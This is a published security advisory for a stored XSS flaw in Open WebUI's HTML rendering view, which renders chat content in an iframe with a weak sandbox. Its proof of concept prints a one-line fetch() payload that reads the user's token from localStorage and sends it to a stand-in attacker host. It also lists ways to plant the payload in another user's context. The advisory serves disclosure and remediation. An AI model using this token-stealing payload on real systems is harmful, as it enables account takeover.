CVE-2026-45303: Open WebUI has stored XSS via the HTML renedering view
Summary Through the HTML rendering view, scripts can be injected and executed. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4. Details The frontend provides a function to visualize the HTML content of a current chat.
Published May 14, 2026 · Updated May 19, 2026
Affected packages
open-webui
- Ecosystem
- PyPI
- Affected
- < 0.6.5
- Fixed in
- 0.6.5
- Check
pip show open-webui
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Through the HTML rendering view, scripts can be injected and executed. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:
sandbox="allow-scripts allow-forms allow-same-origin"
This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.
PoC
If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following:
Create an HTML form and insert the following script into the document:
`fetch('https://www.attacker.local/?' + localStorage.getItem('token'))`By entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local.
grafik
Impact
Fundamentally, this is a Self-XSS attack (executable only in the user's own context). However, the code could also be injected into another user's context through the following vectors:
- If an attacker manages to trick the user into entering the input (as users may not expect JavaScript execution via chat inputs).
- There is a
Chat Sharefunction. A shared chat can be cloned, potentially transferring the input to another user's context. - If the instruction is embedded in a file (text, PDF, etc.) and the victim uploads the file to the chat, causing the content to be displayed (e.g., using the command "Show content").
- By importing a chat via "Settings - Conversations - Import Conversations."
An attack is only successful under these conditions, which is why the Attack Complexity vector has been set to High. Overall, the likelihood of exploitation (Exploitability) is considered very low.
Recommendation
The iFrame sandbox should be defined more restrictively to prevent scripts from executing with access to the parent’s data.
Credited to simioni87.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
